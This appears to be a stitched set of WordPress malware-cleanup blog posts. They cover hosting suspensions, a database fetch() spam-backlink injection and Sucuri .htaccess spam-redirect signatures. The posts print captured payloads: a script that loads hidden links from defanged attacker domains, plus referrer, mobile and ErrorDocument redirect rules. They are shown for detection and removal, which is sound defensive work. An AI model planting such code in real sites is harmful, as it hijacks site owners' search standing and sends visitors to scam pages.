Author: MD Pabel

You opened your laptop, typed your domain, and instead of your site you got a page screaming “This Account Has Been Suspended” — or “This site is currently unavailable” on SiteGround, or “Hosting plan is suspended” on Hostinger. Your host pulled the plug. And in most of these cases, the trigger isn’t a missed invoice. It’s malware. I’ve cleaned more than 4,500 hacked WordPress sites, and a sizable chunk of them came to me after the host had already suspended the account. The recovery process is very different from a normal malware cleanup — you’re racing against deletion timers, you have to talk to an abuse team that doesn’t trust you yet, and any wrong move can get your account terminated for good. This is the playbook.

What “This Account Has Been Suspended” Actually Means

When a hosting provider suspends an account, they stop serving your website at the web-server level. The DNS still resolves to your hosting IP, but instead of routing the request to your WordPress install, the server returns a static suspension page. Your files are not deleted — yet. They sit on disk, frozen, until the abuse team or billing team marks the account as resolved. The exact wording on that page depends on the hosting stack. cPanel-based hosts (Bluehost, HostGator, Namecheap shared, A2, many resellers) show the classic “This Account has been Suspended” page served from /cgi-sys/suspendedpage.cgi. SiteGround shows a rain cloud illustration with “This site is currently unavailable.” Hostinger shows a pink “Hosting plan is suspended” banner inside hPanel. WP Engine and Kinsta send you to a maintenance-style page through their custom stacks.

What does /cgi-sys/suspendedpage.cgi mean?

suspendedpage.cgi is a built-in cPanel/WHM script that displays a default suspension page to every visitor. The path /cgi-sys/suspendedpage.cgi in the browser address bar is not from your WordPress site — it’s the cPanel server intercepting the request before WordPress ever loads. If you see that URL, your host is using cPanel and has explicitly run the “Suspend Account” action against your username. Only the hosting company can clear it.

Why Malware Is the Most Likely Cause (Even If the Page Doesn’t Say So)

The suspension page is deliberately vague. Hosts don’t broadcast malware details on a public URL because it would tip off attackers and embarrass you. The real reason lives in a ticket or email — usually titled something like “Account suspended – Malicious content detected,” “Abuse notification,” “AUP violation – Malware,” or “Urgent: action required on your hosting account.” In the cleanups I’ve done after a hosting suspension, the trigger usually falls into one of these categories:

• • SEO spam / Japanese keyword hack generating tens of thousands of cloaked pages and burning CPU. See my Japanese keyword hack guide for what the host actually sees in your error logs.

• • PHP webshells and backdoors — files like wp-tmp.php, radio.php, files with names that look legitimate (wp-blog-header.php dropped in the wrong folder) or with random eight-letter names in /wp-content/uploads/. Hosts run YARA/ClamAV signatures and flag these on contact.

• • JavaScript redirect malware sending mobile users to scam landing pages. Hosts catch this via abuse reports from visitors or from Google Safe Browsing notifications forwarded to them.

• • Outbound spam from a compromised wp-mail setup — your site is now part of a botnet sending phishing email, and the host’s mail logs lit up like a Christmas tree.

• • Phishing pages — hackers drop a fake Microsoft/PayPal/banking login form inside a deep folder. One PhishTank report and the host suspends you within hours.

• • Excessive resource usage caused by malware — the malware itself isn’t the citation, the CPU/inode/IO bill is, but the underlying cause is still a hacked site.

If your suspension email mentions any of those terms — “malicious file,” “abuse report,” “phishing,” “spam complaint,” “malware signature,” “abuse@” — you are dealing with a security incident, not a billing problem. Treat it that way.

Decoding the Suspension Page by Host

Different hosts behave very differently after a suspension. Knowing your host’s playbook is half the battle. Here’s what I’ve seen across hundreds of suspensions.

Bluehost (cPanel)

Bluehost is the most aggressive of the mainstream shared hosts. They suspend on the first confirmed malware hit and the suspension page lives at /cgi-sys/suspendedpage.cgi. They will email you a list of infected file paths, often hundreds of lines long. The cPanel itself usually remains accessible at yourdomain.com/cpanel or my.bluehost.com, so you can still get into File Manager and phpMyAdmin while the public site is down. I’ve documented a real Bluehost suspension recovery in this case study about hidden executable files, and a full account restoration in this Bluehost recovery case study.

SiteGround

SiteGround shows the “This site is currently unavailable” rain-cloud page. They are far less trigger-happy — they tend to quarantine the site rather than nuke access, and the User Area stays usable so you can pull a backup, run their Site Scanner, and use SFTP. They will whitelist your IP on request via chat. SiteGround’s malware policy is documented and predictable. I recommend them to clients for that reason — I explained why in my SiteGround review.

Hostinger

Hostinger’s hPanel shows a pink “Hosting plan is suspended – Contact us” banner on the affected site card. The rest of your hPanel still works. Their abuse team replies through the live chat widget; they usually share a JSON or CSV file with the list of detected malicious files and the timestamps they were last modified. Hostinger gives you a fixed window (typically 7 days) to clean before they delete data.

HostGator, Namecheap Shared, A2, InMotion

All cPanel-based, all serve the standard /cgi-sys/suspendedpage.cgi. Behavior varies by reseller — some keep cPanel open, some kill the whole account login. Always start with chat support to get cPanel access restored under a “cleanup window.”

GoDaddy

GoDaddy’s suspension flow goes through their “Sucuri-by-GoDaddy” or “Express Malware Removal” upsell. They will quote you a price to clean the site for you. You’re not obligated to take that path — you can request a self-clean window. Document everything in the ticket, because GoDaddy abuse reps rotate and context gets lost between handoffs.

WP Engine, Kinsta, Cloudways (managed WP)

Managed WordPress hosts rarely “suspend” in the cPanel sense — they put the site into maintenance/staging mode or take it offline behind a holding page. They almost always include cleanup in their support, though they may charge extra for emergency response. SSH/SFTP access usually stays open.

Step-by-Step: Getting Unsuspended Without Getting Re-Suspended

This is the sequence I follow on every suspended-account cleanup. Skipping steps is how you end up permanently terminated.

Step 1 — Read the abuse ticket carefully (don’t skim)

The abuse ticket has three things you need: the suspension reason, the list of file paths the scanner flagged, and the deletion deadline. Save a copy of the email and the file list locally before doing anything. If the list is missing, reply and ask: “Please send the full list of files flagged by your security scanner, including paths, timestamps, and the signature name (e.g., php.malware.backdoor.generic).”

Step 2 — Request IP whitelisting and a cleanup window

You can’t fix what you can’t reach. Most hosts will whitelist your public IP so you can access the suspended site for cleanup. Use this exact wording — it works because it tells the abuse team you understand the protocol:

Step 3 — Take a full backup before you touch anything

Yes, even when the site is hacked. You need the dirty backup for two reasons: forensics (so you can study which entry point was used) and rollback safety (so you don’t accidentally delete a “malicious” file the host flagged as a false positive — it happens). Pull a full file zip and a database dump via SSH or File Manager. If you need a refresher, my UpdraftPlus backup guide walks through it.

Step 4 — Process the host’s file list properly

Don’t just bulk-delete the list. For each flagged path: open it, confirm it’s actually malicious (compare to a fresh WordPress install for core files, compare to the original plugin/theme zip for plugin/theme files), then either remove or replace. Most lists fall into three buckets:

• • Pure malware drops — files that shouldn’t exist. Delete.

• • Infected core/plugin/theme files — replace with the original from the WordPress repo or the vendor.

• • Database injections — usually in wp_options (rogue rows in active_plugins, siteurl overrides), wp_posts (spam content), and wp_users (hidden admins). My guide on finding hidden admin users covers the user-table angle.

Step 5 — Find the backdoors the host’s scanner missed

This is the step that separates a permanent fix from a 48-hour re-suspension. Host-side scanners catch maybe 60–80% of what’s there. They miss heavily obfuscated webshells, sleeper backdoors with no signature, and database-resident malware. If you only delete what the host listed, the attacker walks back in within hours through a backdoor that was never flagged, the site gets re-infected, the host re-scans, and you’re suspended again — this time with much less goodwill from the abuse team. Run a manual hunt across wp-content/uploads/, wp-content/plugins/, and the WordPress root. Look for recently modified PHP files in folders that shouldn’t have PHP at all (the uploads folder), files with random names, files with base64_decode, gzinflate, eval, str_rot13, or assert in unusual contexts. I cover this in depth in my obfuscated PHP malware detection guide and this writeup on a hidden backdoor I found in a client’s site.

Step 6 — Patch the entry point, not just the symptom

If you don’t fix how they got in, they get back in. The usual entry points: an outdated plugin with a known vulnerability, a nulled theme, a leaked admin password, exposed wp-config.php from a public backup, or cross-site contamination from another infected site on the same hosting account. Identify it, close it, then rotate every credential the site touches — WordPress admin users, database password, SFTP password, hosting account password, and any API keys in wp-config.php or .env. This is the step most owners skip, which is why I wrote “Why WordPress malware keeps coming back.”

Step 7 — Reply to the ticket with proof, then request reactivation

This is where most owners blow it. They reply “all clean, please reactivate,” the host re-scans, finds the missed backdoor, and slams the door shut. Instead, send a structured report:

1. 1. Confirmation that every file on their list was removed or replaced (one-line per file is fine).

1. 1. A summary of additional backdoors you found and removed that weren’t on their list.

1. 1. A statement of the entry point you patched (e.g., “Outdated [plugin name] 1.4.2 upgraded to 1.5.7; CVE-XXXX patched”).

1. 1. A clean scan report — Wordfence, Sucuri SiteCheck, or the host’s own scanner.

1. 1. A short “future prevention” line (WAF enabled, 2FA on admins, backups configured).

That report converts the abuse team from skeptic to ally. Reactivation usually happens within hours instead of days.

The Hidden Trap Most Posts Don’t Mention: Premature Reactivation Requests

Every hosting abuse team gets the same volume of “it’s clean now, please reactivate” replies that are obviously not clean. Their scanners catch this on re-scan, and from that point you are flagged as a high-risk account. A second strike usually means a much longer suspension window and a real conversation about termination. On Bluehost, I’ve seen accounts go straight to “30 days to migrate, then deletion” after a botched re-scan. The rule is: never ask for reactivation until you can pass the host’s scan yourself. Most cPanel hosts run ImunifyAV or similar tools and let you re-scan from cPanel before submitting. Use that. If you don’t have access, run Wordfence + a fresh manual file integrity check against the WordPress.org checksums and only then submit.

When the Malware Keeps Reappearing After You Clean It

Some infections regenerate. You delete a file, refresh, and it’s back. This is a sign of a persistence mechanism — a hidden cron job, a watchdog process, a “regenerator” hook in a database option, or a compromised must-use plugin. If that’s happening, stop deleting files in a loop and isolate the regenerator first. I documented one of these in the regenerating WordPress malware case study and another in the wp-blog-header.php regeneration case. Hosts will not be patient with a site that re-infects itself during a cleanup window — find the regenerator, kill it, then resume.

If Your Host Has Already Deleted the Account

Worst case: deadline passed, you didn’t act, account is gone. Your options shrink fast but they’re not zero:

• • Ask for a final backup. Many hosts keep a short window (7–30 days) of internal backups even after deletion. Open a billing ticket and request a one-time data export. It’s not advertised but it often works.

• • Check your own backups — UpdraftPlus to Google Drive, All-in-One WP Migration files, server snapshot from a managed host, or even an old staging copy. Any of these can be the seed for a rebuild.

• • Reconstruct from Google’s cache and the Wayback Machine for content; the database and theme can be partially rebuilt this way if you have nothing else.

• • Move to a different host before restoring — if the old host terminated for AUP violation, restoring on the same account is usually blocked. Restore on a clean account, clean the backup as you go.

Preventing the Next Suspension

Once you’re back online, the work isn’t done. Hosts watch reinstated accounts more closely than first-time ones. Burn through this checklist:

• • Update WordPress core, every plugin, every theme — even the ones you don’t use, then delete the unused ones.

• • Remove any nulled or pirated plugins/themes. They are the #1 source of repeat infections; see the risks of nulled plugins.

• • Enable 2FA on every WordPress admin. Force a password reset for all users with publishing rights.

• • Install a security plugin with file integrity monitoring (Wordfence, Solid Security, or Sucuri).

• • Set up automatic off-site backups — daily for active sites — to a separate provider than the host. If your host deletes you, an on-host backup won’t help.

• • Tighten file permissions (644 files, 755 folders, 440 on wp-config.php where allowed).

• • Disable PHP execution in /wp-content/uploads/ via .htaccess or NGINX rules. This single change kills most uploaded webshells.

For the full post-cleanup checklist I use on every recovered site, see “What to do after fixing a hacked WordPress site.”

FAQ

How long does a malware suspension last?

From a few hours to indefinitely. If you respond fast with a clean re-scan, most hosts reactivate within 2–24 hours. If you ignore the ticket, the typical window before account deletion is 7–30 days depending on the provider.

Can I just move to a new host instead of cleaning?

Technically yes, practically no. If you migrate an infected site to a new host, the new host’s scanner will catch the same malware within days and suspend you again — often faster, because the malware is already known to security vendors. Clean first, then migrate if you want to.

My host says I need to pay them for malware removal. Do I have to?

No. The host’s own cleanup service (often labeled “Express Malware Removal” or routed through their security partner) is one option among many. You are free to clean the site yourself or hire an independent specialist. The host is obligated to give you a reasonable cleanup window either way.

Why was my account suspended without warning?

For malware-related suspensions, most hosts skip the warning step on purpose. A delay would let the infection spread to other accounts on the same server, or let phishing pages collect more victims. Billing-related suspensions normally come with multiple warnings; malware-related ones do not.

Does a hosting suspension affect my Google rankings?

Yes, but indirectly. Google can’t crawl a suspended site, so cached pages get devalued and ranking signals decay. Worse, if the malware that triggered the suspension also caused a Google Safe Browsing flag, you’ll need to file a reconsideration request through Search Console after cleanup. My blacklist removal guide walks through that process.

Will my email work while my hosting account is suspended?

Usually no, if your email runs through the same hosting account (cPanel mail). Outbound spam is one of the common suspension triggers, so hosts typically kill mail along with web service. Use a separate email provider (Google Workspace, Microsoft 365, Zoho) for business email to avoid losing communication during a hosting incident.

Is “your page is at risk of being suspended” the same warning?

That’s the pre-suspension notification. The host has detected something — usually elevated resource usage or a low-severity malware hit — and is giving you a short window to fix it before pulling the trigger. Treat this email as if the suspension already happened: scan, clean, and reply with proof.

When to Get Professional Help

A malware suspension is one of the few scenarios where speed has a measurable price tag — every hour your site is down is lost traffic, lost sales, and lost trust. If any of the following are true, get a specialist on it now, not in three days:

• • The host’s flagged list is 100+ files, or includes core WordPress files.

• • You’ve cleaned once and the malware came back.

• • You don’t have a recent clean backup.

• • You’re seeing the Japanese keyword hack, pharma hack, or mobile-redirect symptoms — these always have multi-layer persistence.

• • Your deletion deadline is less than 72 hours away.

I’ve handled 4,500+ hacked WordPress cleanups — including dozens of mid-suspension recoveries on Bluehost, SiteGround, Hostinger, HostGator, GoDaddy, and managed WP hosts. If you’re staring at a suspended-account page right now and a ticking deletion clock, you can request a malware cleanup here or contact me directly. I respond to incident-mode requests within the hour. Related reading: The complete WordPress malware removal expert guide · How to detect WordPress malware · What 4,500 site cleanups taught me · JavaScript redirect malware removal · How to secure a WordPress site

If your WordPress site is loading scripts from domains you’ve never heard of, if Google Search Console suddenly shows queries about slot gacor or zeus379, or if your security plugin keeps saying “site is clean” while your traffic quietly tanks — you are almost certainly dealing with a database-level spam backlink injection.

This isn’t a file infection. It’s a fetch() script hiding inside your wp_posts table that pulls hundreds of hidden dofollow backlinks from a remote server every time someone visits your page. Search engines see those links. Your visitors usually don’t. And most file scanners — including the free version of Wordfence — won’t catch it because they don’t deep-scan post content by default.

I’ve cleaned this exact pattern off dozens of sites in the past 6 months — Divi, Elementor, WPBakery, and even classic-editor blogs. This guide is the symptom-first walkthrough I wish every infected site owner had on day one.

The 8 Symptoms That Point to a Database Spam Injection

If two or more of these match your situation, you’re almost certainly looking at this exact attack. Read them like a triage checklist:

1. Your browser’s Network tab shows unknown outbound calls. Open DevTools → Network → reload your homepage. You’ll see your page calling out to domains like sengatanlebah[.]shop, jasabacklink[.]buzz, or other strange .shop / .buzz / .xyz / .top domains you never added.
2. Google Search Console queries don’t match your business. Your gardening blog is suddenly impressing on “slot gacor maxwin,” “zeus379 login,” or “mahkota188 daftar.” These keywords aren’t in your content, but Google is associating them with your domain.
3. “Site:yourdomain.com” shows pages or snippets you didn’t write. Search site:yourdomain.com in Google. If snippets show gambling, pharma, or Indonesian/Japanese keywords inside results for your real pages, your content is being parasitized.
4. Wordfence, iThemes, or Sucuri free scan says “clean.” Free versions of most security plugins scan files — not the database. The free Wordfence scanner doesn’t deep-scan post_content by default; database scanning only came to Wordfence as a separate CLI tool in late 2024.
5. Your page builder shows “broken” or empty code blocks. Open the homepage in Divi, Elementor, or WPBakery. A previously-clean Code module now shows raw <script> tags or weird shortcode wrappers around something you never added.
6. Pages load slightly slower for no reason. Each fetch() call adds a network round-trip. PageSpeed Insights will flag “blocking third-party resources” from a domain you don’t recognize.
7. Your rankings dropped without an algorithm update. Hidden outbound links to gambling/pharma domains pass authority away from your site and can trigger an “Unnatural Outbound Links” manual action.
8. Refreshing the page sometimes shows briefly visible spam. If the display:none style loads a fraction of a second after the HTML, fast-loading browsers (especially on mobile) flash the spam text before hiding it.

If you matched #1 or #2, you can stop reading symptoms and move straight to detection — those are near-certain signals. For a broader overview of what database malware looks like across all variants, see my complete WordPress database malware guide.

 

What This Malware Actually Does (and Why It’s Built to Hide From You)

Most WordPress malware tries to do something obvious — redirect users, deface the homepage, drop ransomware. This one is the opposite. It’s a parasite-SEO attack designed to stay quiet for months while exploiting your domain authority.

Here’s the workflow the attacker built:

1. Attacker compromises your site (usually through a vulnerable plugin or a weak admin password).
2. Instead of uploading files, they edit your homepage’s post_content directly inside wp_posts and insert a <script> block.
3. That script runs in every visitor’s browser and fetch()es a remote text file — usually back.js or sigma.js — from a domain the attacker controls.
4. The remote file isn’t actually JavaScript. It’s a chunk of HTML containing a hidden <div style="display:none"> with dozens to hundreds of dofollow links to slot/gambling/pharma sites.
5. The script writes that HTML into an empty <div id="datax"> on your page. Visitors can’t see it. Googlebot can.
6. The attacker can swap the remote file at any time. Today it’s gambling links. Tomorrow it’s phishing. You won’t know unless you watch the Network tab.

This is the same broader pattern Sucuri’s research team has been tracking as the rise of Indonesian online-casino SEO spam — they reported gambling-spam detections surpassed long-standing Japanese SEO spam in their 2024 telemetry. The hidden-div parasite-SEO method specifically dates back to at least 2022 when it was first documented in WPBakery’s vc_raw_html shortcodes.

Real Evidence: What’s Actually Inside back.js

Here’s the actual payload I captured from a compromised site (domain defanged for safety):

Notice three things in the screenshot:

• The wrapping <div style="display:none"> — that’s why visitors don’t see anything.
• Every link is rel="dofollow" — passing authority is the whole point.
• The anchor texts are Indonesian gambling keywords (slot dana, slot gacor, slot resmi, slot pulsa, akun pro, slot thailand) — these are the queries Google starts indexing for your domain.

The Exact Code You’ll Find in wp_posts

Wrapped inside a page builder shortcode (typically [et_pb_code] in Divi, an HTML block in Gutenberg, or a Custom HTML widget), the injected payload looks like this:

<script>
fetch('https://sengatanlebah[.]shop/back.js')
  .then((resp) => resp.text())
  .then(y => document.getElementById("datax").innerHTML = y);

fetch('https://jasabacklink[.]buzz/backlink/sigma.js')
  .then((resp) => resp.text())
  .then(y => document.getElementById("info1").innerHTML = y);

fetch('https://jasabacklink[.]buzz/backlink/teratai.js')
  .then((resp) => resp.text())
  .then(y => document.getElementById("info2").innerHTML = y);
</script>

The placeholder <div>s (datax, info1, info2) are usually injected right next to the script. The remote domain rotates — I’ve seen variants using .shop, .buzz, .top, .xyz, and .icu TLDs. The behavior is identical.

How to Find It: 3 Detection Methods (Pick One Based on Comfort Level)

Method 1 — Better Search Replace Plugin (No Code Required)

This is the safest route if you’ve never touched phpMyAdmin. Better Search Replace is a free WordPress plugin that runs database queries from inside your admin dashboard.

1. Install and activate Better Search Replace from the WordPress repository.
2. Go to Tools → Better Search Replace.
3. In the “Search for” box, enter just the domain — for example: sengatanlebah (no http, no path, no quotes).
4. Leave “Replace with” empty for now.
5. Select only the wp_posts table.
6. Check “Run as dry run.” This is non-negotiable on a first pass.
7. Click “Run Search/Replace.” The output tells you how many rows contain the malicious string.

Once the dry run gives you a row count, repeat the search with “Run as dry run” unchecked and a clear “Replace with” value (or empty). Better Search Replace will overwrite the matched content.

Important caveat: a blunt domain replace can leave you with a broken <script> shell (empty fetch() call) in the post. That’s harmless but ugly. For a clean result, after replacing, open each affected page in the editor and delete the leftover <script> tags manually.

Method 2 — phpMyAdmin Manual Search (Visual Inspection)

If you want to see exactly what you’re deleting before you delete it, do it from phpMyAdmin:

1. Log into your hosting panel (cPanel, Plesk, SiteGround Site Tools, etc.) and open phpMyAdmin.
2. Select your WordPress database from the left sidebar.
3. Click the Search tab at the top of the screen.
4. In “Find,” type a short distinctive substring like jasabacklink or sengatanlebah.
5. In the table list below, select only wp_posts (uncheck the rest to keep the result focused).
6. Click Go.
7. phpMyAdmin returns matching rows. Click Edit (the pencil icon) on each one.
8. In the post_content field, locate the <script> block from the code example above and delete it (and the empty placeholder <div>s it references).
9. Click Go at the bottom to save.

One thing many tutorials miss: also check wp_postmeta and post revisions. If you’ve edited the homepage repeatedly after infection, copies of the malicious code may live in the post_content of saved revisions (post_type = 'revision'). Those won’t render publicly, but they leave the malware in your database where the next reinfection wave can re-promote it.

Method 3 — Direct SQL (Developer Speed Run)

For sites with hundreds of infected rows, SQL is the only practical option. Two queries: one to verify, one to clean.

Step 1 — Confirm what you’re about to touch:

SELECT ID, post_title, post_status, post_type
FROM wp_posts
WHERE post_content LIKE '%sengatanlebah%'
   OR post_content LIKE '%jasabacklink%';

This tells you which posts/pages/revisions are infected and what state they’re in. Read it carefully before going further.

Step 2 — Surgically remove the malware:

-- Step 2a: neutralize the remote fetch by breaking the domain string.
-- This stops the malware from loading without risking your real content.
UPDATE wp_posts
SET post_content = REPLACE(post_content, 'sengatanlebah.shop', 'REMOVED_MALWARE')
WHERE post_content LIKE '%sengatanlebah.shop%';

UPDATE wp_posts
SET post_content = REPLACE(post_content, 'jasabacklink.buzz', 'REMOVED_MALWARE')
WHERE post_content LIKE '%jasabacklink.buzz%';

Why I prefer this neutralize-then-clean approach over deleting the whole script tag with one query: a REPLACE on the full script string is fragile. If the attacker used slightly different quotes, spacing, or domain casing on any row, the query misses that row. Replacing only the domain catches every variant, breaks all of them immediately, and leaves obvious “REMOVED_MALWARE” markers you can search for and clean up afterward.

How It Got In: The 4 Most Common Entry Points

Removing the symptom isn’t enough. Across the cases I’ve handled, this specific attack pattern almost always traces back to one of these four entry points — find yours, or the malware will be back within days.

1. Compromised admin account. Weak password, reused password, or no 2FA on a Contributor-or-higher user. The attacker logs in and edits the homepage like a normal editor would. Check your wp_users table for unknown accounts — see my walkthrough on finding hidden admin users in WordPress.
2. Vulnerable plugin with arbitrary-content writes. Old form plugins, page-builder add-ons, and “code snippet” plugins occasionally ship with privilege-escalation bugs that let unauthenticated requests write to wp_posts. Your plugins/ directory may look pristine while the database is wide open.
3. Backdoor from a prior cleanup. If the site was hacked before, an undeleted backdoor PHP file is silently editing the database for the attacker. I wrote about exactly this scenario in finding a hidden backdoor in a client’s WordPress site.
4. Stolen database credentials. If wp-config.php was ever publicly exposed (development server, GitHub leak, unprotected backup file in /wp-content/), an attacker doesn’t need to touch WordPress at all — they connect to your MySQL host directly.

Until you identify and close the actual entry point, every cleanup is temporary. This is the core message of my longer post on why WordPress malware keeps coming back.

After-Cleanup Hardening (12-Item Checklist)

Once the database is clean, run through this list the same day. Skipping any single item is the most common reason I see clients return a few weeks later with the same infection.

1. Rotate the database password in your hosting control panel and update wp-config.php.
2. Rotate all WordPress admin passwords. Force a reset on every user with role Contributor or higher.
3. Rotate FTP/SFTP, cPanel, and any hosting-panel passwords.
4. Enable 2FA for every admin. Wordfence, WP 2FA, and miniOrange all have free options.
5. Delete any user accounts you don’t recognize (or downgrade unknown subscribers if your site has open registration).
6. Update WordPress core, every plugin, and every theme — including inactive ones.
7. Remove plugins and themes you don’t actively use. Inactive code is still attackable code.
8. Add define('DISALLOW_FILE_EDIT', true); to wp-config.php. Stops the in-dashboard theme/plugin file editor.
9. Set wp-config.php permissions to 440 and the WordPress root to 755.
10. Install a security plugin that does scan the database — Wordfence’s CLI db-scan (paid), Sucuri (paid), or MalCare. Free file-only scanners will miss the next attempt.
11. Search the database for any other suspicious script tags: SELECT ID FROM wp_posts WHERE post_content LIKE '%<script%';. Most legitimate sites have zero results here.
12. Submit a reconsideration request in Google Search Console only after all of the above. Premature requests delay your recovery by weeks.

For a complete site-recovery framework I follow on every case, see my post-cleanup checklist from real cleanups.

Why Free Security Plugins Often Miss This (And What Actually Works)

I’ll be specific because this question comes up in every consultation:

• Wordfence Free scans files for known signatures and a limited subset of wp_options and post content for blacklisted URLs. It does not deep-scan every row of post_content for arbitrary script tags. Wordfence’s full database scan is a separate paid CLI tool released in late 2024.
• Sucuri SiteCheck (free remote scanner) can sometimes detect the spam output if it crawls the page and the hidden div has loaded — but on heavily-cached pages or behind a paywall, it misses entirely.
• iThemes Security / Solid Security focuses on hardening and brute-force protection. Their malware scanner is opt-in and file-based.
• MalCare and Patchstack do scan the database, but the deep scan typically requires the paid tier.

This is why running a single “free scan” and getting a green checkmark is not evidence your site is clean. For database-resident infections like this one, the only reliable detection methods are: (a) inspecting your homepage’s HTML source in an incognito window, (b) checking the browser Network tab for unknown outbound requests, and (c) running a LIKE '%<script%' query directly against wp_posts.

Related Variants You Might Actually Have

If the cleanup steps above don’t fully match what you’re seeing, you may be looking at a close cousin instead. Quick disambiguation:

• If the spam is in footer.php rather than wp_posts, read my hidden links malware guide.
• If your Google Search Console is showing thousands of Japanese keyword pages, read the 2025 Japanese keyword hack guide — same parasite-SEO motive, different mechanism.
• If your site redirects mobile visitors to spam but stays clean on desktop, this is mobile cloaking — see my mobile redirect hack case study.
• If Google is indexing tens of thousands of fake URLs on your domain, the case study to read is how I removed 10,500 SEO spam URLs from Google Search in 12 days.
• If the database also contains weird obfuscated characters (Greek letters mixed in), read about the Greek text database malware variant.

About This Guide (and Why You Can Trust It)

I’m MD Pabel, a WordPress security engineer who has personally cleaned over 4,500 hacked sites in the past several years — across hosts including SiteGround, Bluehost, Hostinger, Kinsta, WP Engine, and Cloudways. The detection steps and SQL queries in this post are the same ones I run on paid client work. The screenshots are from real infected sites (anonymized).

If you want to handle the cleanup yourself, every method above is complete enough to do it. If the malware keeps coming back, the entry point is unclear, or you don’t want to touch SQL on a live database — that’s exactly when bringing in a specialist saves you days of trial-and-error. You can see my full process and pricing on the WordPress malware removal service page, or read more about my background on the about page.

What Clients Say

FAQ

Why does my WordPress site call out to sengatanlebah.shop or jasabacklink.buzz?

Because the homepage’s post_content in your wp_posts table contains an injected <script> block that runs fetch() against those domains. The remote response is a hidden div full of dofollow spam backlinks that get rendered into your page. It’s a parasite-SEO attack, not a virus on your computer.

Why didn’t Wordfence catch this?

The free version of Wordfence scans files and limited database fields. It does not perform a deep content scan of every row in wp_posts, which is where this malware lives. Wordfence released a separate CLI tool with database scanning in late 2024, but it’s not enabled by default in the plugin. Sucuri’s free SiteCheck can sometimes detect the rendered spam output, but only if its crawler reaches your page before any caching layer intervenes.

Will removing the <script> tag break my page?

No. The script does nothing your website actually needs — it only loads attacker-controlled spam links. Removing the script tag, the empty <div id="datax"> / info1 / info2 placeholders, and the surrounding shortcode wrapper (if any) restores the page to its original state.

Why does the malware keep coming back after I delete it?

Two reasons, almost always. Either there’s a backdoor file in wp-content/uploads/, wp-content/plugins/, or mu-plugins/ that re-injects the malware on a schedule, or a compromised admin account is still in wp_users. Cleanup without closing the entry point is purely cosmetic. See why WordPress malware keeps coming back.

I see the spam in Google search results but not on my page. Am I imagining this?

You’re not. Googlebot fetches and executes JavaScript on a slower schedule than humans see, and indexes the rendered HTML — including the hidden div. By the time you load the page in your browser, the spam div is hidden with display:none and you don’t notice it. Open DevTools, search the rendered DOM for any of the spam domains, and you’ll find them. Or run view-source: on your page and search for “datax.”

How long does it take Google to drop the spam keywords after cleanup?

In my experience, anywhere from 2 weeks to 3 months depending on how long the infection ran and how often Googlebot crawls your site. Faster recovery comes from: a clean reconsideration request via Search Console, a sitemap resubmission, and continued publishing of fresh legitimate content. For a real recovery timeline on a worse-case scenario, see my 12-day, 10,500-URL Google cleanup case study.

Can I just restore from a backup instead of running these queries?

Only if your backup clearly predates the infection, and only if you also close the entry point afterward. Restoring a backup without identifying how the attacker got in just resets the clock on the next infection. If you don’t know when the infection started, look at the modified dates of files in wp-content/uploads/ and the post_modified timestamp on the infected rows in wp_posts.

Last Word

Database-resident spam injections are the new normal in 2026 WordPress attacks, especially driven by the explosion of online-gambling SEO networks operating out of Southeast Asia. The good news: they’re entirely fixable with the methods above, and once you’ve closed the entry point and hardened the site, this specific pattern doesn’t tend to come back.

If you’ve worked through the steps and the malware is still reappearing, or you’d rather not be the one running SQL against a live production database, I do this professionally — and unlike most security plugins, I look at your specific database, not a generic signature list.

Have a related symptom not covered above? The full blog archive covers most variants I’ve encountered — and the case studies walk through real cleanups in detail.

If Sucuri SiteCheck just told you your site is infected with htaccess.spam-seo.redirect.006 (or one of its sister signatures like .001, .001.001, or _gen.003), this guide walks through exactly what the signature means, the real .htaccess code patterns it detects on hacked WordPress sites, and the step-by-step cleanup I use after handling 4,500+ infections.

I’ll keep this focused on this specific Sucuri family of detections. For the broader hack ecosystem — backdoors, mobile-only redirects, blacklist delisting — I’ll link to the deep-dives at the end.

What htaccess.spam-seo.redirect.006 actually is

Sucuri’s research lab maintains a public list of malware signatures. htaccess.spam-seo.redirect.006 belongs to the htaccess.spam-seo family, which catches a specific category of attack:

• htaccess — the malicious payload lives in your .htaccess file (server-side, runs before WordPress loads).
• spam-seo — the goal is Black Hat SEO: manipulating search rankings or stealing your site’s authority to rank spam pages.
• redirect.006 — a numbered variant of redirect-style payloads. The number identifies a specific code pattern Sucuri’s engineers have seen in the wild.

Because .htaccess directives execute before PHP runs, this malware fires no matter which page is requested. Visitors never see the malicious code in “View Source” — they only see the result: a redirect to get-fix[.]win, an Asian gambling site, a pharmacy spam page, or a fake CAPTCHA. The browser developer tools show the redirect happening at the network layer, which makes it look like the destination domain is the attacker — but the real culprit is your own .htaccess.

Sister signatures in the same family

If your scan returned .006, you may also see one or more of these in the same report. They all mean “your .htaccess is compromised” — only the exact code pattern differs:

• htaccess.spam-seo.redirect.001 through htaccess.spam-seo.redirect.009
• htaccess.spam-seo.redirect.001.001, .001.002, .001.003, .001.005 (sub-variants)
• htaccess.spam-seo.redirect_gen.003 (generic pattern matcher)
• htaccess.spam-seo.doorway.002 — generates fake doorway pages
• htaccess.spam-seo.prepend.001 — prepends spam content to legitimate pages
• htaccess.malware.generic.001, .002, .003 — non-redirect .htaccess abuse

The cleanup procedure is the same regardless of the variant number. The signature ID just tells Sucuri’s analysts which fingerprint matched.

The actual code patterns this signature detects

Here are real, sanitized .htaccess samples I’ve pulled from infected WordPress sites that triggered htaccess.spam-seo.redirect.006. If you see anything that looks like these in your file, that’s the malware.

Pattern 1: Conditional referrer redirect (Google traffic only)

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*duckduckgo.*
RewriteRule ^(.*)$ http://malicious-domain[.]tld/redirect.php?u=%{REQUEST_URI} [R=301,L]

This one only fires when a visitor arrives from a search engine. You won’t see it when you type your domain directly into the address bar — which is why owners often think their site is fine while Google traffic is being silently siphoned.

Pattern 2: Mobile user-agent redirect

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (android|iphone|ipod|blackberry|windows\ phone) [NC]
RewriteRule ^(.*)$ http://spam-target[.]tld/$1 [L,R=302]

Mobile-only redirects are the most common variant I see in real cleanups. Desktop owners testing their own site see nothing; their phone users see gambling pages. (I covered the mobile-only case in detail in Fix WordPress Redirects to Spam Site on Mobile Only.)

Pattern 3: ErrorDocument hijack

ErrorDocument 400 http://attacker-cdn[.]tld/inject/index.php
ErrorDocument 401 http://attacker-cdn[.]tld/inject/index.php
